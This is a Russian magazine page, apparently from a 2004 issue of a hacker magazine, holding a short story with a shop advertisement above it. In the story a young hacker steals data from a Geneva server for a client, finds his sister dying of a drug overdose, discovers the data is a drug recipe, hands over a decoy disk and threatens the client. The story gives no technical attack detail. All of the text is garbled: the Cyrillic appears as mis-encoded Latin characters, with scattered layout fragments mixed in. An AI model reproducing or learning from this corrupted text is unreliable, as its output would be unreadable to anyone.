Çàêàçû ïî òåëåôîíó ìîæíî ñäåëàòü ñ 09.00 äî 21.00 ïí - ïò 

ñ 10.00 äî 19.00 ñá - âñ   

www.gamepost.ru www.e-shop.ru

Ñ ÄÎÑÒÀÂÊÎÉ ÍÀ ÄÎÌ

ÈÃÐÛ
ÏÎ ÊÀÒÀËÎÃÀÌ

ÐÅÀËÜÍÅÅ,
×ÅÌ Â ÌÀÃÀÇÈÍÅ 

ÁÛÑÒÐÅÅ,
×ÅÌ ÒÛ ÄÓÌÀÅØÜ

»



õâàñòàòü ýòèì ïåðåä ñàìèì ñîáîé; à ïîêàçàòü ýòî êîìó-íèáóäü áûëî áû ïðîñ-
òî íåâîçìîæíî, ðàçâå ÷òî òàêèì æå, êàê îí - áåçáàøåííûì è òàëàíòëèâûì,
îáúåäèíåííûì îäíîé îáùåé èäååé, îäíèì ñòðåìëåíèåì.

ÎÍÈ ÕÎÒÅËÈ ÏÎËÓ×ÈÒÜ ÂËÀÑÒÜ ÍÀÄ ÑÅÒÜÞ.
È ýòî èì óäàëîñü. Ñìèðíîâ äàâíî óæå íå èñïûòûâàë íèêàêèõ òðóäíîñòåé

çà êîìïüþòåðîì. Òî÷íî òàê æå âåëè ñåáÿ è åãî äðóçüÿ. Êîìïüþòåð áûë åùå
îäíèì îðãàíîì èõ òåëà, îíè æèëè âìåñòå ñ íèì, íå â ñèëàõ ñóùåñòâîâàòü ïî-
ðîçíü. Ýòî, êîíå÷íî æå, íå îçíà÷àëî, ÷òî îíè õîäèëè ñ íîóòáóêàìè â òóàëåò è
çíàòü íå çíàëè, ÷òî äåëàåòñÿ çà îêíàìè èõ êâàðòèð - íè÷òî ÷åëîâå÷åñêîå íå
áûëî èì ÷óæäî. Îíè íå áûëè ãåðîÿìè àíåêäîòîâ, âñå áûëî ïðåäåëüíî îðãà-
íè÷íî - èìåííî ïîýòîìó îíè äîñòèãëè òåõ âûñîò, î êîòîðûõ ìíîãèå òîëüêî
ìå÷òàëè, íå â ñèëàõ ñîâëàäàòü ñ ñåòüþ.

�Çàïàõ äóõîâ ïîñòåïåííî ðàñïðîñòðàíèëñÿ ïî âñåé êîìíàòå. Ñìèðíîâ
ïîâîäèë íîñîì èç ñòîðîíû â ñòîðîíó, ïðåäñòàâèë ñåáå âåðøèíû òåõíîëîãèé,
ñâÿçàííûå ñ ïåðåäà÷åé çàïàõîâ, ïîäóìàë, ÷òî ýòî áûëî áû èíòåðåñíî - ñìîò-
ðèøü ñòðàíèöó, ïîñâÿùåííóþ ïàðôþìåðèè, è ìîæåøü ïîïðîáîâàòü âñå, ÷òî
òàì ïðåäëàãàåòñÿ�

- À åñëè ñìîòðèøü ñòðàíèöó ñ äåâî÷êàìè? - óõìûëüíóëñÿ îí. - Äàæå è íå
äóìàé! Ðàáîòàòü íàäî.

Îí ñíîâà ïðèñòàëüíî âãëÿäåëñÿ â ýêðàí, çàñîìíåâàëñÿ â íåñêîëüêèõ ñòðî-
êàõ, ÷òî óæå óøëè çà âåðõíèé êðàé ñòðàíèöû, ïðîêðóòèë íàçàä. Âíåçàïíî â
çàìêå ïîâåðíóëñÿ êëþ÷, õëîïíóëà âõîäíàÿ äâåðü. Ïàðó ðàç öîêíóëè êàáëóêè,
ïîòîì ÷òî-òî ìàëåíüêîå óïàëî íà ïîë, ðàçäàëñÿ øóìíûé âçäîõ.

Ïðèøëà ñåñòðà. Îí æèë ñ íåé áåç ðîäèòåëåé óæå ÷åòûðå ãîäà - ìàòü ñ îò-
öîì îñòàëèñü â ðîññèéñêîé ãëóáèíêå, îòïðàâèâ äåòåé ïîêîðÿòü áîëüøîé ãî-
ðîä. Äåíåã ïîêà õâàòàëî, îíè ñ ñåñòðåíêîé ñíèìàëè êâàðòèðó â äîñòàòî÷íî
äåøåâîì ðàéîíå (òó ñàìóþ, êîòîðàÿ ñïàñëà Ñìèðíîâó æèçíü), ó÷èëèñü â ìåðó
ñïîñîáíîñòåé (îí çàêîí÷èë èíñòèòóò â ïðîøëîì ãîäó, Íàòàøêå îñòàâàëîñü
åùå ïàðà êóðñîâ). Â îáùåì, æèëè - íå òóæèëè, êîãäà áûëî íóæíî, óñòóïàëè
äðóã äðóãó êâàðòèðó â åäèíîëè÷íîå ïîëüçîâàíèå, ïåðèîäè÷åñêè ññîðèëèñü,

âñåãäà ìèðèëèñü. Áðàò äàâàë ñåñòðå äåëüíûå ñîâåòû è îòâàæèâàë ïðèäóðî÷-
íûõ æåíèõîâ-àêñåëåðàòîâ, ñåñòðà ñîäåðæàëà â ïîðÿäêå êâàðòèðó è íå çàáûâà-
ëà çàïèõíóòü áðàòó â ðîò ïàðó áóòåðáðîäîâ âî âðåìÿ åãî ðàáîòû â ñåòè, êîãäà
îí ïðåâðàùàëñÿ â «áîåâóþ õàêåðñêóþ ìàøèíó».

- Ñåé÷àñ çàéäåò, - øåïíóë ïîä íîñ Ñìèðíîâ. - Çàïàõ ïî÷óâñòâóåò è îáÿçà-
òåëüíî ïðèáåæèò. Ïîäóìàåò, ÷òî ó ìåíÿ òóò åñòü êòî-òî�

Íî ñåñòðà íå ïîÿâèëàñü. Ñìèðíîâ óñëûøàë, êàê ó íåå â êîìíàòå ñêðèïíóë
äèâàí - ñóäÿ ïî çâóêó, îíà íå ïðîñòî îïóñòèëàñü íà íåãî, à óïàëà ñ ðàçìàõó.
×òî-òî òàì áûëî íå òàê.

Îí êèíóë âçãëÿä íà ýêðàí, çàïîìíèë êàðòèíêó è ïî äîðîãå â Íàòàøêèíó
êîìíàòó ñêâîçü ïîëóîòêðûòûå âåêè ïðîñìîòðåë åå âñþ, îòìåòèâ, ÷òî ìîæíî
îòìàòûâàòü äàëüøå. À ïîòîì îí îòêðûë äâåðü�

Íàòàøêà ëåæàëà íà äèâàíå ëèöîì âíèç, íîãè ñâåøèâàëèñü, òóôëè âàëÿ-
ëèñü ðÿäîì - èõ ñíÿòü ó íåå ñèë õâàòèëî.

- Âûïèëà, ÷òî ëè, ñåñòðåíêà? Êðåïêî?
Íàòàøêà ìîë÷àëà. Ñìèðíîâ õìûêíóë, ïîäîøåë, ïðèñåë ðÿäîì, ïîëîæèë

ðóêó íà ïëå÷î. Îíà äûøàëà ðåäêî, ðîâíî, èíîãäà ïîñòàíûâàÿ. Çàïàõà àëêîãî-
ëÿ âðîäå áû íå áûëî. Ýòî íàñòîðîæèëî áðàòà.

- Íàòàøêà? - øåâåëüíóë îí åå çà ðóêó. Íèêàêîé ðåàêöèè. Îí íàêëîíèëñÿ
ïîíèæå, ïîíþõàë - îíà ñîâåðøåííî òî÷íî íå ïèëà êðåïêèõ íàïèòêîâ. Êàêèå-òî
íåõîðîøèå ïîäîçðåíèÿ ñòàëè çàðîæäàòüñÿ â ãîëîâå ó Ñìèðíîâà, îí óæå ñ
áîëüøåé ñèëîé ïîñòàðàëñÿ ðàñøåâåëèòü ñåñòðó, íî ýòî åìó íå óäàëîñü -
ëèøü ëåãêèé ñòîí áûë îòâåòîì íà ïîïûòêè.

Òîãäà îí ðåøèòåëüíî âñòàë, ïîäíÿë åå íà ðóêè è ïîëîæèë ëèöîì ââåðõ,
ðàññòåãíóâ ëåãêóþ êóðòêó, êîòîðóþ îíà íå ñíÿëà, âîéäÿ â êâàðòèðó. Äåâóøêà
àáñîëþòíî íå äâèãàëàñü, ïðåäñòàâëÿÿ ñîáîé êàêóþ-òî ïîäàòëèâóþ ìÿãêóþ
êóêëó, áåçâîëüíî ñâåñèâøóþ ñ äèâàíà ðóêó. Ðóêó..

Íà ïðåäïëå÷üå Íàòàøêè Ñìèðíîâ óâèäåë òîíêóþ çàñîõøóþ ñòðóéêó êðîâè.
Îíà ðîâíîé ïîëîñêîé ïðîõîäèëà ïî ïðåäïëå÷üþ è íà ïàðó ñàíòèìåòðîâ âûã-
ëÿäûâàëà èç-ïîä ÷àñîâ.

Áðàò ìåäëåííî çàêàòàë ðóêàâ è îáîìëåë. Íà ñãèáå ëîêòÿ îí îáíàðóæèë
íåñêîëüêî òî÷åê îò èíúåêöèé, â òîì ÷èñëå è ñâåæóþ - òó, èç êîòîðîé íàòåêëà
êðîâü. Ïî áîëüøîìó ñ÷åòó, âñå îíè áûëè ñâåæèìè - ïîõîæå, ÷òî îíà ñòàëà
ïðèíèìàòü íàðêîòèêè íåäàâíî, íåäåëè ïîëòîðû-äâå íàçàä. Ñìèðíîâ ìåäëåí-
íî îïóñòèë ðóêó íà äèâàí è âñìîòðåëñÿ â ëèöî ñåñòðû.

Áîëüøå âñåãî îí èñïóãàëñÿ ïåðåäîçèðîâêè.

Äûøàëà îíà ïî-ïðåæíåìó ðîâíî, õîòÿ è ðåäêî. Ñ êàæäûì âäîõîì ëèöî íà
íåñêîëüêî ñåêóíä ðîçîâåëî, íî ïîòîì ãóáû âíîâü ñòàíîâèëèñü òîíêèìè è
ìåðòâåííî-áëåäíûìè. Ñìèðíîâ, íå îòðûâàÿ ãëàç îò ñåñòðû, íàøàðèë ðóêîé
íà òóìáî÷êå òåëåôîííóþ òðóáêó è ïîçâîíèë â «Ñêîðóþ». Âûçîâ ïðèíÿëè äî-
âîëüíî ãðóáî è íåõîòÿ; Ñìèðíîâ ïðåäñòàâèë, êàê íà «Ñêîðîé» íåíàâèäÿò íàð-
êîìàíîâ, ïîêà÷àë ãîëîâîé è çàêóñèë ãóáó.

- Íàòàøêà, Íàòàøêà, - ïðîøåïòàë îí. - Êàê æå òàê�
Ïîòîì îí óâèäåë åå ñóìî÷êó, áðîøåííóþ íà ïîë ó äâåðåé. Èç íåå òîð÷àë

îäíîðàçîâûé øïðèö ñ èãëîé, çàòêíóòîé êîëïà÷êîì. Ñìèðíîâ âñòàë ñ äèâàíà è
ïðèáëèçèëñÿ ê ñóìî÷êå, êàê ê áîìáå ñ ÷àñîâûì ìåõàíèçìîì. Øïðèö âûçâàë â
íåì òàêîé ñòðàõ, ÷òî îí ïåðâóþ ìèíóòó áîÿëñÿ íàãíóòüñÿ è ïîäíÿòü åãî; ñåðä-
öå êîëîòèëîñü â ãðóäè, îí ïîêðûëñÿ ëèïêèì ïîòîì.

Íàêëîíèòüñÿ âñå-òàêè ïðèøëîñü. Øïðèö - îáûêíîâåííûé, êîðåéñêèé, ïÿ-
òèêóáîâûé. Âíóòðè - íå ñîâñåì ïðîçðà÷íàÿ æèäêîñòü ñî ñëàáûì îòòåíêîì
æåëòèçíû. Ñìèðíîâ ìàøèíàëüíî âçáîëòíóë, îòìåòèë, êàê â øïðèöå ïîÿâè-
ëèñü êàêèå-òî çàâèõðåíèÿ.

- Ýòîãî íå ìîæåò áûòü,- ñàì ñåáå ñêàçàë îí. Ýòîãî ïðîñòî íå ìîãëî ïðîè-
çîéòè â èõ ñåìüå, ñ äåòñòâà âîñïèòàííîé â äóõå áîÿçíè ïîäîáíûõ âåùåé è
îòâðàùåíèÿ ê íèì. Ñàì Ñìèðíîâ íå êóðèë, ïèë òîëüêî ïèâî è îò ñâîåé ñåñò-
ðåíêè îæèäàë ïîäîáíîãî îòíîøåíèÿ ê æèçíè. Íî êòî-òî ïîäïðàâèë ìîðàëü,
çàëîæåííóþ â íåå ðîäèòåëÿìè.

- Òâàðè! - ïðîñêðèïåë îí çóáàìè, ïîòîì ìåòíóëñÿ â òóàëåò, ðàñêðîøèë â
ðóêàõ øïðèö, øâûðíóë òî, ÷òî îñòàëîñü, â óíèòàç è äâàæäû ñïóñòèë âîäó -
âòîðîé ðàç äëÿ ãàðàíòèè è îò ïðåçðåíèÿ ê òîìó, ÷òî ýòà ãàäîñòü áûëà â åãî
äîìå. Ïîòîì îí âûòðÿõíóë âñå ñîäåðæèìîå ñóìêè íà ïîë, âûâåðíóë êàðìàíû
Íàòàøêèíîé êóðòêè - áîëüøå íè÷åãî íå áûëî.

- Íó, ãäå æå ýòà ÷åðòîâà «Ñêîðàÿ»! - êðè÷àë îí íà çàêðûòóþ äâåðü, âðåìå-
íàìè ãëÿäÿ íà âñå ðåæå íà÷èíàþùóþ äûøàòü ñåñòðó. - Ïîòîðîïèòåñü!

Îí îòêðûë äâåðü â îæèäàíèè ëþäåé ñ ÷åìîäàí÷èêàìè è êðàñíûìè êðåñ-
òàìè, âûáåãàë íà ïëîùàäêó, âîçâðàùàëñÿ ê Íàòàøå, òðîãàë åå çà ðóêó, ãëàäèë
ëîá, øåïòàë ÷òî-òî, ïîñòåïåííî ïðèõîäÿ â êàêîå-òî áåçóìíîå ñîñòîÿíèå.

«Ñêîðàÿ» ïðèáûëà ÷åðåç ïÿòüäåñÿò ìèíóò. Ïðîáêè. Áîëåçíü áîëüøîãî ãî-
ðîäà. Íàòàøêà áûëà åùå æèâà.

Äîêòîð, ïîõîæå, âèäåë ïîäîáíîå êðàéíå ÷àñòî. Âñå áûëî áûñòðî, ÷åòêî.
Ñìèðíîâ îòâåòèë íà ïàðó âîïðîñîâ, ïîìîã óëîæèòü äåâóøêó íà íîñèëêè - è â
ýòîò ìîìåíò çàçâîíèë òåëåôîí.

- Êàê ðàáîòà? - ðàçäàëñÿ ãîëîñ çàêàç÷èêà.
- Îòñòàíüòå, ÷åðò âîçüìè, íå äî âàñ ñåé÷àñ! - îãðûçíóëñÿ Ñìèðíîâ, íî ãî-

ëîñ â òðóáêå çàñòàâèë åãî çàìîë÷àòü. Åìó íàïîìíèëè î ñðîêàõ, î äåíüãàõ è î
êàêèõ-òî íåïîíÿòíûõ ïðîáëåìàõ, êîòîðûå ìîãóò âîçíèêíóòü, «åñëè ÷òî-òî ïîé-
äåò íå òàê». Ñìèðíîâ âûñëóøàë ýòó êîðîòêóþ ãíåâíóþ òèðàäó, îòìåòèâ ïðî
ñåáÿ òîëüêî óïîìèíàíèå î äåíüãàõ. Íàòàøêó íàäî áûëî ëå÷èòü, íàâåðíÿêà ïî-
íàäîáÿòñÿ áîëüøèå ñðåäñòâà - Ñìèðíîâ ïîíÿë, ÷òî îí äîëæåí çàêîí÷èòü ðà-
áîòó, ïîëó÷èòü ðàñ÷åò è ðèíóòüñÿ ñïàñàòü ñåñòðó.

Îí ðàçóçíàë, â êàêóþ áîëüíèöó îòïðàâÿò Íàòàøó, çàïèñàë âñå òåëåôîíû, à
ïîòîì, çàêðûâ äâåðü è íåíàâèäÿ ñâîåãî çàêàç÷èêà áîëüøå âñåõ ëþäåé íà ñâåòå,
îí îïóñòèëñÿ çà êîìïüþòåð è ñðàçó ïîíÿë, ÷òî ïîèñê îêîí÷åí. Òî, ÷òî áûëî åìó
íóæíî, ëåæàëî ïåðåä ãëàçàìè - òîëüêî ðóêó ïðîòÿíè.

Íà âñÿêèé ñëó÷àé îí ïðîñìîòðåë íåñêîëüêî äèðåêòîðèé, óáåäèëñÿ â òîì,
÷òî êëþ÷åâûå ñëîâà è ôîðìóëû, ïåðåäàííûå åìó çàêàç÷èêîì, ïðèñóòñòâóþò
íà ýêðàíå, è ñòàë ïåðåêà÷èâàòü äàííûå ê ñåáå íà êîìïüþòåð, ñðàçó ðåøèâ çà-
ïèñàòü èõ íà áîëâàíêó, ÷òîáû ïåðåäàòü àãåíòó çàêàç÷èêà. Íî êîãäà ïåðâûå
íåñêîëüêî äåñÿòêîâ ìåãàáàéò ïðèáûëè íà åãî êîìï, çàâûë ñêàíåð.

Ýòî áûë î÷åíü èíòåðåñíûé ñêàíåð - åãî ïðèíåñëà Íàòàøêà îêîëî ìåñÿ-
öà íàçàä. Ïðîãðàììà-øïèîí. Îíà áûëà ïðåäíàçíà÷åíà äëÿ ïîèñêà íà
êîìïüþòåðå êðèìèíàëüíîé èíôîðìàöèè - íà÷èíàÿ îò áàíàëüíîãî îïðåäå-
ëåíèÿ ïîðíîãðàôè÷åñêèõ ôîòîãðàôèé ïî ïëîùàäè îáíàæåííîãî òåëà. Îíà
óìåëà íàõîäèòü íà âèí÷åñòåðå èçîáðàæåíèÿ âîðîâñêèõ íàêîëîê, ñëîâàðè
æàðãîíà è ìàòà, ðåöåïòû êîêòåéëåé, ðàçíîãî ðîäà âåùè, îòíîñÿùèå ê èñ-
ëàìñêîé òåìàòèêå�

À åùå îíà óìåëà íàõîäèòü ñèãíàòóðû íàðêîòèêîâ.
Âîò è ñåé÷àñ - ñêàíåð ïðîòèâíî âåðåùàë, ïîäìèãèâàÿ èç òðåÿ êðàñíûì

ãëàçîì è óêàçûâàÿ íà òî, ÷òî åñòü ñìûñë ïðîñìîòðåòü ñîîáùåíèå. Ñìèðíîâ
òêíóë â íåãî ìûøêîé è ïðî÷èòàë: «Íà âàøåì êîìïüþòåðå â äèðåêòîðèè «X-
Files» ñîäåðæèòñÿ ñèãíàòóðà íàðêîòèêà «Õýëëîóèí» - ïðîèçâîäíîãî ãåðîèíà.
Äàííûé íàðêîòèê ïîÿâèëñÿ íà ðîññèéñêîì ðûíêå óæå äàâíî. Îðãàíèçîâàííîé
ïðåñòóïíîñòüþ íàëàæåíû ïîñòàâêè åãî èç Þæíîé Àìåðèêè ÷åðåç ñòðàíû Çà-
ïàäíîé Åâðîïû�».

Ñìèðíîâ, êàê çàâîðîæåííûé, ñìîòðåë íà ýòè ñòðîêè, îáðàìëåííûå â êðà-
ñèâóþ ðàìêó. Íàðêîòèê - ó íåãî íà êîìïüþòåðå�

À ïîòîì îí ïîíÿë, ÷òî åãî çàöåïèëî. Â ïàïêó «X-Files» îí ñëèâàë ñåé÷àñ
èíôîðìàöèþ ñ ñåðâåðà, ðàñïîëîæåííîãî â Çàïàäíîé Åâðîïå. Òðýéñåð óêàçàë
åìó òî÷íûé àäðåñ - Æåíåâà�

Îí îòêàòèëñÿ îò êîìïüþòåðà â êðåñëå è îáõâàòèë ãîëîâó ðóêàìè.

ÕÀÊÅÐÑÏÅÖ   10(47)    2004

O
Ô

Ô
Ò

Î
Ï

È
Ê

126

S
T
O
R
Y

Í
È

×
ÅÃ

Î
 Ë

È
×

Í
Î

ÃÎ

- Âîò ïðèìåðíî òàê ëîìàëè
«Ñèåððó», - øåïòàë îí â òàêò

ùåëêàíüþ êëàâèø



- Äóõè� Ïàðôþìåðèÿ� Ðîáèí ãóä, áëèí! Ó áîãàòûõ áåðó, áåäíûì äàþ!
Ïî-ìîåìó, ìåíÿ ýëåìåíòàðíî ðàçâåëè�

È âîò òóò îí ïîíÿë, ÷òî ïîïàë â çàêîëäîâàííûé êðóã.
×òîáû ïîìî÷ü Íàòàøêå, åìó íóæíû áûëè äåíüãè. Äëÿ ýòîãî åìó íàäî áû-

ëî ïîëó÷èòü âñå äàííûå è îáìåíèòü áîëâàíêó íà ãîíîðàð. È â Ðîññèè ïîÿâèò-
ñÿ åùå êàêàÿ-íèáóäü ãàäîñòü, êîòîðàÿ ïîòîì óáüåò åãî Íàòàøó. Îí äîëæåí
áûë ñâîèìè ðóêàìè íàâîäíèòü ñòðàíó íàðêîòîé è ïîãóáèòü òûñÿ÷è ëþäåé,
÷òîáû ñïàñòè ñåñòðó.

Îí ïðîñìîòðåë òî, ÷òî óæå ïðèåõàëî ê íåìó íà êîìïüþòåð. Ñóäÿ ïî âñå-
ìó, òå ñèãíàòóðû (à èõ ñêàíåð íàøåë åùå ÷åòûðå) ñàìè ïî ñåáå áûëè çàêàç-
÷èêó íå íóæíû - ïðîñòî îí ïî èõ îáðûâêàì äàë Ñìèðíîâó îðèåíòèð. Â òåõ
ôàéëàõ, ÷òî ñëèâàë ñåé÷àñ Ñìèðíîâ, ñîäåðæàëàñü èíôîðìàöèÿ î òîì, êàê èç
ýòèõ ïÿòè íàðêîòèêîâ ñäåëàòü åùå îäèí - íîâûé, ñèëüíûé è äåøåâûé. Ðåöåï-
òóðà äóõîâ äëÿ ðîññèéñêîé ìîëîäåæè.

Îí ñìîòðåë â ýêðàí, íå ñëûøà çàâûâàíèå ñèãíàëèçàöèè ñêàíåðà; òîñêà
ïîäñòóïàëà ê ãîðëó, íåíàâèñòü çàõëåñòûâàëà åãî äåâÿòûì âàëîì. Îí íå
çíàë, êàê åìó ïîñòóïèòü - ïî çàêîíó èëè ïî ñîâåñòè. Çëîáà äóøèëà åãî, çàñ-
òàâëÿÿ øèðîêî îòêðûâàòü ðîò, âäûõàÿ òÿãó÷èé äóøíûé âîçäóõ êîìíàòû, íî
îí íå çàìå÷àë ýòîãî - îí âèäåë ëèøü ñòðóéêó êðîâè íà ðóêå Íàòàøêè, åå
çàêðûòûå ãëàçà è ðàññëàáëåííîå òåëî, óíåñåííîå äîçîé íàðêîòèêà â èñêóñ-
ñòâåííûé ðàé.

È ðåøåíèå ïðèøëî âíåçàïíî.
Ñ ïîëêè îí âçÿë åùå îäíó áîëâàíêó. Ëîòîê çàæóææàë, ïðèíèìàÿ åå. Íåñ-

êîëüêî êëèêîâ ìûøêè - èíôîðìàöèÿ ñòàëà çàïèñûâàòüñÿ íà äèñê. Ñìèðíîâ
ìîë÷à ñìîòðåë, êàê ïîëîñêà çàãðóçêè áûñòðî ïîëçåò ê ôèíèøó. Ñïóñòÿ ïàðó
ìèíóò êîìïüþòåð âûïëþíóë äèñê, Ñìèðíîâ âçÿë åãî, íàáðîñàë ìàðêåðîì
íåñêîëüêî öèôð, âëîæèë â òîíåíüêóþ êîðîáî÷êó è ïîçâîíèë àãåíòó.

- Âñå ó ìåíÿ. Æäó ñ äåíüãàìè.
Àãåíò íàçíà÷èë âñòðå÷ó ÷åðåç ñîðîê ìèíóò, Ñìèðíîâà ýòî óñòðàèâàëî -

ìåñòî âñòðå÷è áûëî íåäàëåêî îò òîêñèêîëîãè÷åñêîãî öåíòðà, â êîòîðîì ëåæà-
ëà ñåé÷àñ Íàòàøà.

Âñå ïðîèçîøëî áûñòðî - íà ëàâî÷êå â ïàðêå àãåíò çàêàç÷èêà âêëþ÷èë íî-
óòáóê, âñòàâèë äèñê â ïðèâîä, ïðîñìîòðåë ÷òî-òî, èçâåñòíîå òîëüêî åìó îäíî-
ìó, ïîäíÿë ãëàçà íà Ñìèðíîâà, ïðèùóðèëñÿ è ñêàçàë:

- À òû ìîëîäåö, ïàðåíü. Íî òîëüêî íåíîðìàëüíûé ÷åëîâåê â ñîñòîÿíèè
áûë ñäåëàòü òî, ÷òî ñäåëàë òû. Ìû ëîìàëè èõ çàùèòó ÷åòûðå ìåñÿöà. Òû äî-
áûë èíôîðìàöèþ çà òðè äíÿ.

Îí çàìîë÷àë, âíîâü ïîñìîòðåâ íà ýêðàí. Ñìèðíîâ ñòîÿë ðÿäîì, ãëÿäÿ ïî
ñòîðîíàì, è ïðàêòè÷åñêè íå èíòåðåñîâàëñÿ òåì, ÷òî åìó ãîâîðÿò. Áûëî âèäíî,
÷òî îí î÷åíü òîðîïèòñÿ - íî ñêàçàòü îá ýòîì îí íå ðåøèëñÿ. Àãåíò, ïðîäîëæàÿ
íàæèìàòü êëàâèøè îäíîé ðóêîé, äðóãîé âûòàùèë èç âíóòðåííåãî êàðìàíà
êîíâåðò è ïðîòÿíóë åãî Ñìèðíîâó. Òîò âçÿë è ñïðîñèë:

- Âîïðîñîâ íåò? Ïðîôåññèîíàëüíûå òàéíû ÿ íå âûäàþ, à áîëüøå íàì
ðàçãîâàðèâàòü íå î ÷åì.

Ñîáåñåäíèê ïîäíÿë ãëàçà, óäèâëåííî óñìåõíóëñÿ, íî íè÷åãî íå ñêàçàë.
- Åñëè íàì áóäåò íóæíî, ìû ñâÿæåìñÿ ñ òîáîé, ïàðåíü. Óäà÷è.
Ñìèðíîâ ðàçâåðíóëñÿ è, íà õîäó çàïèõèâàÿ êîíâåðò çà ïàçóõó, ïðèáàâèë øàãó.
- «Åñëè áóäåò íóæíî�». Ïîïðîáóé íàéäè ìåíÿ, óðîä!
Ïîäíÿâ ðóêó íà ïåðåêðåñòêå, îí î÷åíü áûñòðî ïîéìàë òàêñè è ïîì÷àëñÿ â

áîëüíèöó. Àãåíò ïðîäîëæàë íà ëàâî÷êå ëèñòàòü ñòðàíèöû èíôîðìàöèè.
Ïîñòåïåííî âçãëÿä åãî ìðà÷íåë. Åùå ñïóñòÿ ìèíóòó îí âûòàùèë èç êàð-

ìàíà ñîòîâûé òåëåôîí�
Ñèäÿ â òàêñè, Ñìèðíîâ ïîéìàë ñåáÿ íà ìûñëè, ÷òî äàæå íå ïåðåñ÷èòàë,

ñêîëüêî òàì äåíåã, è äåíüãè ëè òàì âîîáùå. Âûíóë, ðàñêðûë - íåò, âñå áûëî
â ïîðÿäêå, â êîíâåðòå áûëè äåíüãè.

Ñêîðî àâòîìîáèëü çàòîðìîçèë ó ïðèåìíîãî îòäåëåíèÿ. Ñìèðíîâ âûñêî-
÷èë èç ìàøèíû è âáåæàë íà êðûëüöî�

Îíà áûëà ìåðòâà óæå îêîëî ïîëó÷àñà. Òåëî ñîïðîâîäèëè â ìîðã, íåîáõî-
äèìûå äîêóìåíòû îôîðìèëè; æäàëè òîëüêî ïîÿâëåíèÿ ðîäñòâåííèêîâ. Ñìèð-
íîâ â øîêå âûñëóøàë âñå, ÷òî ìåäèêè ïîñ÷èòàëè íóæíûì åìó ñêàçàòü, ïðî-
äîëæàÿ êîìêàòü â êàðìàíå êîíâåðò ñ äîëëàðàìè.

Íàòàøêà, òàêàÿ ìèëàÿ è äîáðàÿ, òàêàÿ ÆÈÂÀß, áûëà ìåðòâà. Ýòà ãàäîñòü
óáèëà åå, ïîäàðèâ íåñêîëüêî ÷àñîâ áëàæåíñòâà è îñòàíîâèâ ñåðäöå. Ïî÷åìó-
òî Ñìèðíîâ âñïîìíèë, êàê ïîëçëà ïî ýêðàíó ïîëîñêà çàãðóçêè äàííûõ - è ñ
êàæäûì ïåðåêà÷åííûì ìåãàáàéòîì â ñåñòðåíêå îñòàâàëîñü âñå ìåíüøå è
ìåíüøå æèçíè.

Äîêòîð, ãîâîðèâøèé ñ íèì, âíåçàïíî çàìîë÷àë è ïðåäëîæèë ñòàêàí ìèíå-
ðàëêè.

- ß ïîíèìàþ, âàì òÿæåëî, - ñî÷óâñòâåííî ñêàçàë îí. - Íî ñäåëàòü áûëî
íè÷åãî íåëüçÿ. Ñëèøêîì âåëèêà áûëà äîçà è ñëèøêîì íåïðåäñêàçóåìû ïîñ-
ëåäñòâèÿ òîãî, ÷òî òâîðèò ýòà ìåðçîñòü ñ ëþäüìè - è ýòî íåñìîòðÿ íà òî, ÷òî
ìû çíàåì ïðî íåå ïðàêòè÷åñêè âñå.

- Íåò, - âíåçàïíî ñêàçàë Ñìèðíîâ. - Âû åùå íè÷åãî íå çíàåòå�
- Íå ïîíÿë? - íàêëîíèë ãîëîâó äîêòîð.

- È íå íàäî, - òèõî ñêàçàë Ñìèðíîâ. - ß áîþñü, ÷òî ìåíÿ ìîæåò íå îêà-
çàòüñÿ ðÿäîì, êîãäà� Êîãäà Íàòàøêó� Ãîñïîäè� - îí ñ òðóäîì ïîäàâèë ðû-
äàíèÿ è ïðîäîëæèë. - ß ïðîøó âàñ ïðîÿâèòü ìèëîñåðäèå äî êîíöà�

Îí âûòàùèë êîíâåðò è íà ãëàçàõ èçóìëåííîãî äîêòîðà ðàçäåëèë ïà÷êó äå-
íåã ïðèìåðíî ïîïîëàì è îòäàë ïîëîâèíó âðà÷ó.

- ß äóìàþ, âû ïîíÿëè�
Âðà÷ äðîæàùåé ðóêîé âçÿë äåíüãè è êèâíóë, ïîòîì ñïðîñèë:
- Êðåìàòîðèé?
- Äà, - êèâíóë Ñìèðíîâ.
- Çíàåòå, çà òàêèå äåíüãè - õîòü íà Âàãàíüêîâî, - áðÿêíóë, íå ïîäóìàâ,

äîêòîð, íî îñåêñÿ è îïóñòèë ãëàçà â ïîë.
- Íå íàäî, - òèõî ñêàçàë Ñìèðíîâ. - Ìíå íóæíî èäòè. Åñëè ïîâåçåò - ÿ

íàéäó âàñ� Âàñ è Íàòàøêó.
Äîêòîð äîëãî ñìîòðåë âñëåä óõîäÿùåìó â íèêóäà ïàðíþ è ñòàðàëñÿ ïîâå-

ðèòü â ïðîèñõîäÿùåå. Ïîñëåäíåå, ÷òî îí óâèäåë - êàê òîò âûõîäèò íà êðûëüöî
è äîñòàåò ñîòîâûé òåëåôîí. Ïîòîì ïðèåõàâøàÿ «Ñêîðàÿ» ñêðûëà åãî îò âçãëÿ-
äà âðà÷à - íàâñåãäà. Áîëüøå îíè íèêîãäà íå âñòðå÷àëèñü.

Ñìèðíîâ äîçâîíèëñÿ äî çàêàç÷èêà ñ ïåðâîãî ðàçà.
- Äà, ýòî ÿ� Äà, òàê è åñòü. Ìíå áûëè íóæíû äåíüãè� Ïîìîë÷èòå è ïîñ-

ëóøàéòå, ÷òî ÿ âàì ñêàæó. Òàêèå, êàê âû, íå äîëæíû æèòü. Âàø äèñê - òîò,
íàñòîÿùèé äèñê - ó ìåíÿ. Çàâòðà ÿ èäó â ìèëèöèþ. Ê ñîæàëåíèþ, ëèøü çàâò-
ðà. Ñåãîäíÿ ÿ íå â ñîñòîÿíèè ðàçãîâàðèâàòü íè ñ êåì. Äàæå ñ âàìè ìíå ïðî-
òèâíî îáùàòüñÿ, ïðè÷åì ñ âàìè â ïåðâóþ î÷åðåäü. Êîðî÷å, ñïîêîéíî æèòü
âàì îñòàëîñü äâàäöàòü ÷åòûðå ÷àñà. Óáèéöà�

È îí, îòêëþ÷èâ òåëåôîí, øâûðíóë åãî ñî âñåé ñèëû îá ñòåíó. Ïëàñòìàñ-
ñîâûå ïàíåëüêè ðàçëåòåëèñü âäðåáåçãè.

- Ïîéìàé ìåíÿ - åñëè ñìîæåøü�
Ñòèâåí Ñïèëáåðã ïðîñòî îòäûõàë�
Ñìèðíîâ âûøåë íà ïðîñïåêò, ãëÿäÿ ïîä íîãè. Õîòåëîñü çàáûòüñÿ, âûïèòü

